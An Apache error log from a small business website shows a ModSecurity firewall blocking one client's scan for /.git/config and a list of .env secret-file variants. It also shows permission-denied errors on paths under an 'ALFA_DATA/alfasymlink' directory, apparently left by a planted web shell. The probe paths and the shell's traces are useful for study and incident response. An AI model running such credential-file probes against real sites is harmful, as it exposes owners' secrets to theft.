[Mon Oct 26 14:01:24.081091 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.44.148.203:47958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:27.931773 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 35.173.18.61:29400] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:31.900658 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 44.208.223.68:13787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:01:40.365452 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 185.191.171.16:58766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/free_calls
[Mon Oct 26 14:01:47.370492 2026] [core:error] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.13:39046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/free_calls
[Mon Oct 26 14:01:51.851218 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 54.163.136.244:64664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:02:03.910280 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 44.213.36.21:3265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:02:06.966856 2026] [security2:error] [pid 3058816:tid 3058816] [client 43.130.102.223:57500] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/direc1/"] [unique_id "at-Vns-doU5lRL_NAI8OnAAAAAE"]
[Mon Oct 26 14:02:19.914947 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.204.89.12:59997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:02:27.989211 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 34.227.234.246:56125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/uevent
[Mon Oct 26 14:02:36.857785 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 34.233.219.155:34485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:02:40.014294 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 98.82.66.172:34050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/ac/bind
[Mon Oct 26 14:02:56.102481 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.45.15.233:2329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:08.243790 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 34.227.234.246:49810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/resource3
[Mon Oct 26 14:03:16.168179 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 85.208.96.193:27662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/slab_size
[Mon Oct 26 14:03:20.142634 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 100.27.153.9:12119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Mon Oct 26 14:03:21.516423 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-V6cdX-waAlDqXJHtTywAAABY"]
[Mon Oct 26 14:03:21.516670 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-V6cdX-waAlDqXJHtTywAAABY"]
[Mon Oct 26 14:03:21.517103 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-V6cdX-waAlDqXJHtTywAAABY"]
[Mon Oct 26 14:03:22.261388 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-V6sdX-waAlDqXJHtTzQAAABY"]
[Mon Oct 26 14:03:22.261626 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-V6sdX-waAlDqXJHtTzQAAABY"]
[Mon Oct 26 14:03:22.261956 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-V6sdX-waAlDqXJHtTzQAAABY"]
[Mon Oct 26 14:03:22.465202 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-V6sdX-waAlDqXJHtTzgAAABY"]
[Mon Oct 26 14:03:22.465430 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-V6sdX-waAlDqXJHtTzgAAABY"]
[Mon Oct 26 14:03:22.465764 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-V6sdX-waAlDqXJHtTzgAAABY"]
[Mon Oct 26 14:03:22.699893 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-V6sdX-waAlDqXJHtTzwAAABY"]
[Mon Oct 26 14:03:22.700120 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-V6sdX-waAlDqXJHtTzwAAABY"]
[Mon Oct 26 14:03:22.700470 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-V6sdX-waAlDqXJHtTzwAAABY"]
[Mon Oct 26 14:03:22.905118 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-V6sdX-waAlDqXJHtT0AAAABY"]
[Mon Oct 26 14:03:22.905596 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-V6sdX-waAlDqXJHtT0AAAABY"]
[Mon Oct 26 14:03:22.906269 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-V6sdX-waAlDqXJHtT0AAAABY"]
[Mon Oct 26 14:03:23.130266 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-V68dX-waAlDqXJHtT0QAAABY"]
[Mon Oct 26 14:03:23.130599 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-V68dX-waAlDqXJHtT0QAAABY"]
[Mon Oct 26 14:03:23.131035 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-V68dX-waAlDqXJHtT0QAAABY"]
[Mon Oct 26 14:03:23.297163 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-V68dX-waAlDqXJHtT0gAAABY"]
[Mon Oct 26 14:03:23.297395 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-V68dX-waAlDqXJHtT0gAAABY"]
[Mon Oct 26 14:03:23.297848 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-V68dX-waAlDqXJHtT0gAAABY"]
[Mon Oct 26 14:03:23.363110 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 185.191.171.14:21540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:23.747589 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-V68dX-waAlDqXJHtT0wAAABY"]
[Mon Oct 26 14:03:23.747815 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-V68dX-waAlDqXJHtT0wAAABY"]
[Mon Oct 26 14:03:23.748096 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-V68dX-waAlDqXJHtT0wAAABY"]
[Mon Oct 26 14:03:23.891671 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-V68dX-waAlDqXJHtT1AAAABY"]
[Mon Oct 26 14:03:23.891934 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-V68dX-waAlDqXJHtT1AAAABY"]
[Mon Oct 26 14:03:23.892200 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-V68dX-waAlDqXJHtT1AAAABY"]
[Mon Oct 26 14:03:23.980994 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.89.90.224:37358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:03:24.248756 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-V7MdX-waAlDqXJHtT1QAAABY"]
[Mon Oct 26 14:03:24.249062 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-V7MdX-waAlDqXJHtT1QAAABY"]
[Mon Oct 26 14:03:24.249397 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-V7MdX-waAlDqXJHtT1QAAABY"]
[Mon Oct 26 14:03:24.574038 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-V7MdX-waAlDqXJHtT1gAAABY"]
[Mon Oct 26 14:03:24.574326 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-V7MdX-waAlDqXJHtT1gAAABY"]
[Mon Oct 26 14:03:24.574766 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.176.101.130:44342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-V7MdX-waAlDqXJHtT1gAAABY"]
